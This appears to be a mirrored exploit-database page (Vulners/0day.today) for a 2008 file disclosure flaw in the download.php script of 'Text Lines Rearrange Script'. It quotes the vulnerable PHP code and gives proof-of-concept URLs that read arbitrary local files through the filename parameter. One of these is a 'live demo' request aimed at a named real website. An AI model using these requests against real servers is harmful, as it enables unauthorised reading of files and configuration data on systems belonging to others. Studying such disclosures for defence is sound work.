Lucene search

K

Text Lines Rearrange Script (filename) File Disclosure Vulnerability

🗓️ 22 Dec 2008 00:00:00Reported by SirGodType 
zdt
 zdt
🔗 0day.today👁 10 Views

Text Lines Rearrange Script (filename) File Disclosure Vulnerability Discovered By SirGod and Greet

Show more
Code
====================================================================
Text Lines Rearrange Script (filename) File Disclosure Vulnerability
====================================================================


#############################################################################################
[+] Text Lines Rearrange Script (download.php filename) File
[+]Disclosure Vulnerability
[+] Discovered By SirGod
[+] Greetz : All my friends
#############################################################################################

 [+] File Disclosure Vulnerability

  Vulnerable Code in download.php :

-----------------------------------------------------

if(file_exists($filename))
{
	$fp=fopen($filename,"r");
	$content=fread($fp,filesize($filename));
	fclose($fp);
	
------------------------------------------------------	
	
 PoC :

  http://[target]/[path]/download.php?filename=[Local File]

 Example :

  http://[target]/[path]/download.php?filename=index.php

 Live Demo :

  http://www.rightscripts.com/listrearrange/download.php?filename=index.php

#############################################################################################



#  0day.today [2018-03-13]  #

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
22 Dec 2008 00:00Current
7.1High risk
Vulners AI Score7.1
10
.json
Report